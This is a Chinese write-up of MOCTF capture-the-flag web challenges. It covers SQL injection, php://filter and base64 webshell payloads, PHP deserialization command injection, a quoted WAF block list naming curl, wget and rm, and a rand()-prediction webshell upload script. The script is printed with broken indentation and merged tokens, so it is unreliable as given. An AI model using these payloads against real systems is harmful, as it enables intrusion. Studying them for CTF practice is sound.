MOCTF

记MOCTF做题

签到


大概是加入Q群,然后拿到flag吧




一道水题


查看源代码,在最下方看到flag



还是水题


post提交password=moctf,看到flag




访问限制


修改两处http头,拿到flag

MOCTF_第1张图片



机器蛇


一个贪吃蛇的网页游戏,看了下前端代码没有看到什么东西。从题目的“机器”可以联想到robots,即尝试访问robots.txt,看到Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php,访问一下,查看源代码拿到flag




PHP黑魔法


根据提示访问index.php~备份文件,查看源代码看到源码,用的是php处理0e字符串==时候的缺陷,访问index.php?a=QNKCDZO&b=s878926199a,拿到flag




我想要钱


要求字符串长度<=4并且大于time函数生成的时间戳,可以用科学记数法来解决,比如money=9e9,拿到flag




登录就对了


简单的SQL题目,输入用户名为'or 1#,看到登陆成功,查看源代码看到flag




Flag在哪?


脑洞题,点击链接可以看到一共访问了5个php,分别是:flag.php,where_is_the_flag.php,I_have_a_flag.php,I_have_a_frog.php,no_flag.php,然后百度一下提示中所说的歌曲的歌词,结合一下脑洞,访问flagfrog.php,抓包后看到flag




死亡退出


访问后看到源码,关键在于如何不执行exit而执行后面我们输入的函数,解决办法是利用php伪协议来写入文件,传递file=php://filter/write=convert.base64-decode/resource=./tmp.php&c=aPD9waHAgZWNobyhmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKSk7Pz4=,这样一来就会在写入文件的时候先将phpexit和我们传入的字符串一起base64解码,而base64解码会忽视不规范的()这些字符,而且我们传入的a则会与phpexit这7个字符组成两组解码,不会影响后面php代码的解码,最后查看源代码看到flag




文件包含


查看源代码看到flag.php,然后在url上看到文件包含点,访问index.php?file=php://filter/read=convert.base64-encode/resource=flag.php,将拿到的字符串进行解码,看到flag




美味的饼干


在cookie中看到可疑的参数login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=,先base64解码,看到一串32的字符串,猜测是MD5加密,在网上搜索解密看看,发现解密结果是user。将”admin“MD5加密后再base64一下,修改cookie再次访问,查看源代码拿到flag




火眼金睛


这道题我能力不足以用肉眼算清moctf出现的次数,那就只能借助脚本的力量了,贴个脚本

MOCTF_第2张图片

拿到flag




简单注入


一道盲注题目,空格被吃掉了就用括号来绕,没有|和or就用and或者^来写,贴个脚本说话好了

MOCTF_第3张图片
MOCTF_第4张图片

需要注意一下的就是flag中含有大小写,所以最后一步用ascii来爆破(PS:脚本中的flag是错误的,有几个字母是大写)




暴跳老板


点击重新发现->发送,然后抓包do.php看到http头的提示:Dear:MyBoss,post提交postText=&Dear=MyBoss,拿到flag




没时间解释了


访问一下,根据提示的302看到有一个302跳转的url,抓包看一下,访问uploadsomething.php,看到一个文件上传点。随便上传点什么,然后看到提示说Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/bef9db3dd05cfcfec68b20818aeb435aea1ead9b/123,访问一下,看到一句too slow!。这道题我的肉体手速达不到题目的要求,无奈之下只能借助脚本的力量了,贴个脚本

MOCTF_第5张图片



unset


访问URL看到源码,后台的处理顺序是:unset->waf->重新赋值->判断,其中判断截断有三个GET参数是必须的:flag,daiker,file,但是在waf阶段,是不允许GET中有flag这个参数的。所以我们需要在unset阶段将GET给unset掉,然后在重新赋值阶段重新给GET赋值

访问http://119.23.73.3:5101/?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php,同时post提交_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php。unset阶段的时候,$_GET[flag]==我们post提交的$_POST[_GET]这个数组中的flag键的值,会将整个$_GET给unset掉,这就绕过了waf阶段,然后在extract函数下,会将POST中的这几个参数都赋值到GET中去

将获得的base64字符串解码,拿到flag




PUBG


看看网页源代码,看看http包,看看cookie,再看看robots.txt,都没有什么提示。

那就看看有没有备份文件吧,或者扫一下目录也可以,可以发现index.php.bak和class.php.bak两个备份文件,审计一下源码,首先要满足的是$_GET["LandIn"]==“school”,然后我们可以传入一个序列化字符串,通过控制其中的bag和weapon两个成员变量来执行__call函数,再尝试构造命令执行。

首先是__wakeup魔术方法,这个可以用将序列化字符串改错来进行绕过

写个php输出序列化字符串LandIn=school&pubg=O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";},然后改错成LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}即可绕过__wakeup看到nothing方法输出的You lose

然后是__call魔术方法下的命令执行,首先bag的值要是个不存在的方法名,这个很简单,接下来就是通过拼接字符串来构造payload了

构造O:7:"sheldon":3:{s:3:"bag";s:18:"win.php && cat waf";s:6:"weapon";s:3:"AWM";}序列化字符串,url编码一下,读取waf中的代码,看到过滤函数waf过滤这些字符:'vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf'

读一下当前目录的绝对路径O:7:"sheldon":3:{s:3:"bag";s:24:"win.php && pwd &&php win";s:6:"weapon";s:3:"AWM";},同样url编码,得到当前路径为/app

然后搜索一下O:7:"sheldon":3:{s:3:"bag";s:30:"win.php && find /app &&php win";s:6:"weapon";s:3:"AWM";},看到目标/app/class/flag.php

最后O:7:"sheldon":3:{s:3:"bag";s:44:"win.php && cat /app/class/flag.php &&php win";s:6:"weapon";s:3:"AWM";},查看源代码拿到flag




简单审计


访问后直接看到源码审计一下源码,考点是rand随机数预测,想要详细一点了解的可以Cracking PHP rand(),简单来说就是一句公式state[i] = state[i-3] + state[i-31],虽然结果不会很准确,可能存在+1或者-1的差距。我们只要弄出32位以上的rand随机数,就可以爆破预测接下来的所有随机数,思路是这样的:利用数组绕过waf和后缀名检测先访问6次action=test获取36位随机数,然后再上传webshell,与此同时预测37-42位的随机数,并访问可能存在的webshell脚本

脚本说话

import requests

from socketimport *

import itertools

import hashlib

import threading

mys = requests.session()

url ="http://120.78.57.208:6005"

_url ="http://120.78.57.208:6005/?action="

def get_flag(salt):

# print salt

    s = hashlib.sha1('XXX.XXX.XXX.XXX').hexdigest()

url1 = url +'/uploads/' + s +'/' +'moctf' + salt +'.php'

    res = mys.get(url1)

# print salt

    if '404' not in res.text:

print "the response is " + res.text

def get_code():

bufsize =128

    tcpSerSock = socket(AF_INET,SOCK_STREAM)

tcpSerSock.bind(('',8888))

tcpSerSock.listen(5)

rand_num =0

    code = []

while True:

tcpCliSock, addr = tcpSerSock.accept()

while True:

data = tcpCliSock.recv(bufsize)[0:6]

# print str(rand_num) + data

# if rand_num < 6:

            for xin data:

code.append(str(ord(x) -ord('a')))

if not data:

break

            # if rand_num == 6:

#    print data

#    if not data:

#        break

        rand_num = rand_num +1

        if rand_num ==6:

break

    tcpCliSock.close()

tcpSerSock.close()

return code

def get_salt(code):

salt =""

    for xin range(6):

if int(code[x +5]) +int(code[x +33]) >25:

salt = salt +chr(int(code[x +5]) +int(code[x +33]) +ord('a') -26)

code.append(str(int(code[x +5]) +int(code[x +33]) -26))

else:

salt = salt +chr(int(code[x +5]) +int(code[x +33]) +ord('a'))

code.append(str(int(code[x +5]) +int(code[x +33])))

return salt

def simple_check():

print "[+] starting..."

    for countin range(10):

code = get_code()

print "[+] the " +str(count +1) +" trying"

        salt = get_salt(code)

# print salt

        o = itertools.product("10",repeat=6)

for xin o:

s ="".join(x)

salt2 =""

            for yin range(6):

if ord(salt[y]) +int(s[y]) >122:

salt2 = salt2 +chr(ord(salt[y]) +int(s[y]) -26)

else:

salt2 = salt2 +chr(ord(salt[y]) +int(s[y]))

get_flag(salt2)

o = itertools.product("10",repeat=6)

for xin o:

s ="".join(x)

salt2 =""

            for yin range(6):

if ord(salt[y]) -int(s[y]) <97:

salt2 = salt2 +chr(ord(salt[y]) -int(s[y]) +26)

else:

salt2 = salt2 +chr(ord(salt[y]) -int(s[y]))

get_flag(salt2)

print "[-] the " +str(count +1) +" trying ended"

def get_test():

_url1 = _url +"test"

    r = mys.get(_url1)

def upload():

data = {"filename[4]":"jpg",

"filename[2]":"jpg",

"filename[1]":"php",

"content[]":""

            }

_url1 = _url +"upload"

    res = mys.post(_url1,data=data)

def simple_check2():

for countin range(10):

print "[+] " +str(count +1) +" testing..."

        for xin range(6):

get_test()

print "[-] " +str(count +1) +" testing ended"

        print "[+] " +str(count +1) +" uploading..."

        upload()

print "[-] " +str(count +1) +" uploading ended"

c = threading.Thread(target = simple_check)

g = threading.Thread(target = simple_check2)

c.start()

g.start()

c.join()

g.join()

修改webshell的代码,最后读取/app/flag.php,拿到flag

你可能感兴趣的:(MOCTF)